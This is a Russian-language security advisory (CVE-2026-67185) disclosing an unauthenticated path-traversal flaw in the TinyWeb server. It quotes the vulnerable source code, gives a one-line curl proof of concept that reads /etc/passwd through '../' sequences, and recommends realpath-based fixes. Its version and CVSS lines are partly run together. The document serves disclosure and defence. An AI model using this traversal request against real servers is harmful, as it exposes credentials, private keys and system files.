
Уведомление о безопасности: неаутентифицированный обход пути позволяет произвольное чтение файлов (TinyWeb)
Присвоенный идентификатор CVE: CVE-2026-67185
TinyWeb формирует путь к обслуживаемому файлу, соединяя корневой каталог веб-сервера с URL запроса ровно так, как он поступил, без какой-либо нормализации. Удалённый клиент, который никогда не проходил аутентификацию, может вставить последовательности ../ в строку запроса и прочитать любой файл, который может открыть процесс сервера, включая файлы за пределами корневого каталога веб-сервера.
TnyWeb/0.0.80b3b5fd (2019-01-09), где путь впервые собирается таким образом, по a381da2 (2023-11-22, последний в ветке ).masterCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NНеаутентифицированный удалённый злоумышленник, который может установить соединение с прослушивающим TCP-портом сервера (9090 в поставляемой конфигурации). Не требуются учётные данные, взаимодействие с пользователем или какой-либо предварительный доступ. Достаточно одного запроса.
HttpBuilder::buildResponse() начинается с настроенного корневого каталога веб-сервера и добавляет поле пути URL непосредственно из разобранного запроса:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
Между объединением в строке 86 и вызовом файловой системы в строке 94 нет удаления dot-сегментов (RFC 3986, раздел 5.2.4), нет канонизации с помощью realpath() и нет проверки того, что результат остаётся внутри server.www.
Парсер URL также не отфильтровывает ... В HttpParser::parseUrlChar() состояние пути принимает любой символ, проходящий проверку isUrlChar(), а . является допустимым символом URL, поэтому ../ достигает buildResponse() без изменений:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
Затем HttpFile::setFile() открывает и обслуживает любой полученный путь, используя привилегии процесса сервера:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
Примечание: TinyWeb никогда не выполняет процентное декодирование пути URL, поэтому %2e%2e%2f не работает. Работает буквальная форма ../.
Запустите сервер с поставляемой конфигурацией (прослушивание порта 9090, обслуживание из настроенного корневого каталога веб-сервера).
Отправьте запрос, путь которого поднимается выше корневого каталога веб-сервера. Флаг --path-as-is не позволяет curl свернуть ../ перед отправкой:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK и возвращает содержимое /etc/passwd:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Необходимое количество сегментов ../ зависит от того, насколько глубоко расположен корневой каталог веб-сервера. Любое количество, равное глубине корневого каталога или превышающее её, работает, поскольку ядро игнорирует .. в корне файловой системы.
Любой удалённый клиент может прочитать любой файл, который процессу сервера разрешено открыть. В конфигурации по умолчанию рабочие процессы запускаются от имени root, поэтому это включает /etc/shadow, закрытые ключи TLS, конфигурационные файлы с учётными данными и исходный код самого приложения в корневом каталоге веб-сервера.
Канонизируйте объединённый путь с помощью realpath() и отклоняйте запрос, если результат не находится внутри настроенного корневого каталога веб-сервера. В качестве эшелонированной защиты удаляйте dot-сегменты во время разбора URL в соответствии с разделом 5.2.4 RFC 3986 и выполняйте процентное декодирование пути перед запуском этой нормализации.